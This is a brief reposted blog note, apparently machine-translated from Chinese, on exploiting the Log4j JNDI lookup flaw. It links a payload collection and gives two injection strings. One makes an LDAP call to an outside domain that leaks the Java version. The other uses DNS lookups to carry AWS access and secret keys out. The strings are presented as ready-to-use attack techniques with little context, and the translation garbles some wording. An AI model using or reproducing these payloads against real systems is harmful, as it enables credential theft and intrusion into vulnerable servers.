当前位置：网站首页>Log4j utilization correlation

Log4j utilization correlation

2022-07-05 13:40:00 【[email protected]】

relevant payload：https://gist.github.com/am1ru1/275af8ab41b12d72b94bd18ba779c51b

Information disclosure ：

jndi Environment variables can be resolved , As shown below , Therefore, relevant information can be leaked 

${jndi:ldap://secruitycompassadvisory.com/version=${env:JAVA_VERSION}}

It can also be used dns Take the data out 

${jndi:dns:// ${env:AWS_ACCESS_KEY}. ${env:AWS_SECRET_KEY}}

原网站

版权声明
本文为[[email protected]]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/02/202202140524137124.html

边栏推荐

猜你喜欢

随机推荐